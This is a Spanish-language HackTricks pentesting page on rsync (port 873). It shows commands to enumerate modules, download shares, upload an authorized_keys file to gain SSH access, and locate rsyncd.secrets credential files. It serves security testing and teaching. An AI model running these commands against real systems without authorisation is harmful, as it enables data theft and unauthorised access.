8 KiB
873 - Pentesting Rsync
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? o ¿quieres acceder a la última versión de PEASS o descargar HackTricks en PDF? Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección de NFTs exclusivos
- Consigue el merchandising oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Información Básica
rsync es una utilidad para transferir y sincronizar archivos de manera eficiente entre una computadora y un disco duro externo y a través de computadoras en red comparando los tiempos de modificación y tamaños de los archivos.[3] Se encuentra comúnmente en sistemas operativos tipo Unix. El algoritmo de rsync es un tipo de codificación delta, y se utiliza para minimizar el uso de la red. Zlib puede ser utilizado para compresión de datos adicional,[3] y SSH o stunnel pueden ser utilizados para seguridad.
De wikipedia.
Puerto predeterminado: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Enumeración
Banner y comunicación manual
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Enumerar carpetas compartidas
Un módulo rsync es esencialmente una carpeta compartida. Estos módulos pueden estar protegidos opcionalmente por una contraseña. Esta opción lista los módulos disponibles y, opcionalmente, determina si el módulo requiere una contraseña para acceder:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Tenga en cuenta que se podría configurar un nombre compartido para que no aparezca en la lista. Por lo tanto, podría haber algo oculto. Tenga en cuenta que puede haber algunos nombres compartidos que se enumeran donde necesita algunas credenciales (diferentes) para acceder. Por lo tanto, no siempre todos los nombres listados van a ser accesibles y lo notará si recibe un mensaje de "Acceso Denegado" al intentar acceder a algunos de estos.
Fuerza bruta
Rsync Manual
Una vez que tenga la lista de módulos, tiene algunas opciones diferentes dependiendo de las acciones que quiera realizar y si se requiere autenticación o no. Si no se requiere autenticación puede listar una carpeta compartida:
rsync -av --list-only rsync://192.168.0.123/shared_name
Y copie todos los archivos a su máquina local mediante el siguiente comando:
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Esta transfiere recursivamente todos los archivos del directorio <shared_name>
en la máquina <IP>
al directorio ./rsync_shared
en la máquina local. Los archivos se transfieren en modo "archivo", lo que asegura que los enlaces simbólicos, dispositivos, atributos, permisos, propiedades, etc. se conserven en la transferencia.
Si tienes credenciales puedes listar/descargar un nombre compartido usando (se pedirá la contraseña):
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
También podrías subir algún contenido usando rsync (por ejemplo, en este caso podemos subir un archivo authorized_keys para obtener acceso a la caja):
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Encuentra el archivo de configuración de rsyncd:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Dentro del archivo de configuración a veces podrías encontrar el parámetro secrets file = /ruta/al/archivo y este archivo podría contener nombres de usuario y contraseñas permitidos para autenticarse en rsyncd.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? o ¿quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección de NFTs exclusivos
- Consigue el merchandising oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.